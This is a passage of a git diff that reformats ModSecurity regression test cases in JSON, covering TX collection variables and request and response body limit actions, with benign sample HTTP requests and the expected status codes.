"ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (3/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"20\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"20\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=+10\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:2,t:lowercase,t:none,setvar:TX.something=+10\"", @@ -214,58 +224,60 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (4/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (4/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"15\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"15\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=+10\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:2,t:lowercase,t:none,setvar:TX.something=+10\"", @@ -274,59 +286,61 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (5/n)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (5/n)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120 - cookie I", - "Cookie2":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120 - cookie II", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120 - cookie I", + "Cookie2": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120 - cookie II", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"40\" \\(Variable: TX:anomaly_score\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"40\" \\(Variable: TX:anomaly_score\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Cookie \"@contains PHPSESSID\" \"id:1,setvar:tx.critical_anomaly_score=5\"", "SecRule REQUEST_HEADERS:Cookie \"@contains PHPSESSID\" \"id:2,setvar:tx.anomaly_score=10\"", diff --git a/test/test-cases/regression/config-body_limits.json b/test/test-cases/regression/config-body_limits.json index ebc047db56..c7a08c3533 100644 --- a/test/test-cases/regression/config-body_limits.json +++ b/test/test-cases/regression/config-body_limits.json @@ -1,433 +1,465 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyLimitAction Reject", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyLimitAction Reject", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":403 + "expected": { + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyLimitAction Reject", "SecResponseBodyLimit 5" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyLimitAction ProcessPartial", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyLimitAction ProcessPartial", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyLimitAction ProcessPartial", "SecResponseBodyLimit 5" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyLimitAction Reject", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyLimitAction Reject", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Content-Length": "523" + }, + "uri": "/?key=value&key=other_value", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":403 + "expected": { + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyLimitAction Reject", "SecRequestBodyLimit 5" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyLimitAction Reject - Engine Disabled", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyLimitAction Reject - Engine Disabled", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Content-Length": "523" + }, + "uri": "/?key=value&key=other_value", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine Off", "SecRequestBodyLimitAction Reject", "SecRequestBodyLimit 5" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyLimitAction Reject - Engine Detection Only", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyLimitAction Reject - Engine Detection Only", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Content-Length": "523" + }, + "uri": "/?key=value&key=other_value", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecRequestBodyLimitAction Reject", "SecRequestBodyLimit 5" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyLimitAction ProcessPartial", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyLimitAction ProcessPartial", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Content-Length": "523" + }, + "uri": "/?key=value&key=other_value", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyLimitAction ProcessPartial", "SecRequestBodyLimit 5" ] }, - { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyLimitAction Reject - Engine Disabled", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyLimitAction Reject - Engine Disabled", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine Off", "SecResponseBodyLimitAction Reject", "SecResponseBodyLimit 5" ] }, - { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyLimitAction Reject - Engine Detection Only", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyLimitAction Reject - Engine Detection Only", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecResponseBodyLimitAction Reject", "SecResponseBodyLimit 5" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - urlencoded, limit exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "41", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - urlencoded, limit exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Request body excluding files is bigger than the maximum expected.", - "http_code":400 + "expected": { + "debug_log": "Request body excluding files is bigger than the maximum expected.", + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 20", @@ -435,45 +467,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - urlencoded, limit not exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "41", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - urlencoded, limit not exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 60", @@ -481,46 +514,47 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - json, limit exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "41", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - json, limit exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "48", "Content-Type": "application/json" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "{\"param1\":{\"param2\":\"value2\",\"param3\":\"value3\"}}" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - 